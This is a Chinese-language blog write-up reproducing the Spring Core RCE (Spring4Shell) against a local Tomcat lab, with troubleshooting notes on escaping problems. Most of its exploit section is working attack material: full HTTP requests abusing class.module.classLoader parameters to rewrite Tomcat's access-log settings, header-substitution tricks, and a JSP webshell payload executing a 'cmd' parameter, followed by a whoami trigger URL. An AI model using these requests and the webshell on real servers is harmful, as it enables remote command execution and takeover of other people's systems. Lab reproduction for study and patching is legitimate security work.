漏洞复现-Spring core rce排坑小结
仅作为漏洞复现进行学习,切勿对网站进行非法测试,由于漏洞存在较大危害性,截图均进行打码操作
漏洞描述
Spring core是Spring系列产品中用来负责发现、创建并处理bean之间的关系的一个工具包,是一个包含Spring框架基本的核心工具包
本次漏洞在Spring框架的JDK9版本(及以上版本)中,远程攻击者可在满足特定条件的基础上,通过框架的参数绑定功能获取AccessLogValve对象并诸如恶意字段值,从而触发pipeline机制并写入任意路径下的文件。
所需条件
1、使用JDK9及以上版本的Spring MVC框架
2、Spring 框架以及衍生的框架spring-beans-*.jar 文件或者存在CachedIntrospectionResults.class
环境搭建
1、拉取docker快速搭建
docker pull vulfocus/spring-core-rce-2022-03-29
docker run -d -p 18001:8080 vulfocus/spring-core-rce-2022-03-29
sudo service docker restart
2、tomcat下部署war包,通过start.bat进行启动
搭建成功后访问8080端口
漏洞复现
通过文章分析来看,这个漏洞是利⽤ class 对象进行利⽤链构造了,通过修改Tomcat的日志配置,向日志中写⼊ shell
发送五个class请求实现修改日志配置的效果
接着通过发送任意请求进行触发,记录到日志文件中,成功写入shell
按着文章进行复现,这里可以用&进行拼接,合并成一个数据包进行发送
这里写入文件的路径可以是相对或绝对路径,tomcat起的一般都会有webapps/ROOT这个目录,因此我们把文件写到这个目录下
接着通过发送payload进行shell的写入,接着执行命令的时候开始报错了
排查发现我们写入的内容里双引号前面加了反斜杠,导致我们的命令无法正常执行
<%Runtime.getRuntime().exec(request.getParameter("cmd"))%> #文章截图写入的内容
<%Runtime.getRuntime().exec(request.getParameter(\"cmd\"))%> #实际写入的内容
一开始以为是我内容写错了,又尝试了好几遍,但发现还是会在双引号前加上反斜杠
那如果是在请求 class.module.classLoader.resources.context.parent.pipeline.first.pattern 里直接写入内容呢
这时候发现双引号前面没有反斜杠了,取而代之的是%变成了???
这时候刚好exp.py出来了,查看代码发现可以进行关键字符替代,相当于是变成下面这个样子
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
a: Runtime
b: <%
c: %>
%{a}i%{b}i.getRuntime().exec(request.getParameter("cmd"));%{c}i
把payload进行url编码后进行发送,这次成功写入我们想要的内容
成功执行命令,弹出计算器,但这个命令是不回显的
由于exp.py使用了20多遍,只成功了1次(指的是在当前windows复现环境下,docker拉取全成功)这里对exp进行还原
这时候就可以回显结果
修改Tomcat的日志配置,向日志中写⼊shell
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{x}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.directory=路径(绝对/相对)
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
按照pdf复现不成功的
GET /stupidRumor_war/index?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%66%75%63%6b%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=%77%65%62%61%70%70%73%2f%72%6f%6f%74&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=3889FB0765EF31079360491ABA0F4485
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
GET /stupidRumor_war/index HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
x: <%Runtime.getRuntime().exec(request.getParameter("cmd"))%>
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
管道符拼接成功复现
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
suffix: %>
c1: Runtime
c2: <%
%{c2}i%{c1}i.getRuntime().exec(request.getParameter("cmd"));%{suffix}i
GET /stupidRumor_war/index?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%63%32%7d%69%25%7b%63%31%7d%69%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%29%3b%25%7b%73%75%66%66%69%78%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
suffix: %>
c1: Runtime
c2: <%
DNT: 1
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=3889FB0765EF31079360491ABA0F4485
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Length: 2
http://127.0.0.1:8080/shell.jsp?cmd=whoami
漏洞限制
1、需要确认漏洞利用点
2、漏洞利用过后,再次利用日志配置更改需要重启tomcat
3、发起请求会导致写入大量数据,系统可能会因此挂掉
相关文章
- 你有没有掉进去过这些Spring的“陷阱“(上)
- Spring MVC更多家族成员---框架内处理流程拦截与HandlerInterceptor---08
- batch spring 重复执行_Spring Batch批处理
- Spring之AOP入门篇
- 解释spring框架中bean的生命周期_Spring bean的生命周期
- Spring项目中使用的设计模式
- Spring Cloud 的微服务架构学习及实践(二十)
- Spring RestTemplate进阶:拦截器
- Java框架Spring入门-第一个spring项目
- Spring监听器-spring源码详解(五)
- Spring相关漏洞集合
- Spring Boot的日志管理
- Spring Boot 中 @EnableXXX 注解的驱动逻辑
- 【愚公系列】2023年04月 Java教学课程 139-Spring MVC框架的前后端数据交互
- 一文搞懂阿里云服务器部署Redis并整合Spring Boot
- Spring Bean自动装配
- spring的AOP(四)—-Spring AOP 编程(Advisor)详解编程语言
- spring 4.2.4 与 Jackson 2.7 所引出的问题详解编程语言
- 组件——-(一)redis系列–安装部署redis+实现redis分布式缓存 java+Spring+redis详解编程语言
- spring架构利器:JFinal MySQL Spring(jfinalmysql)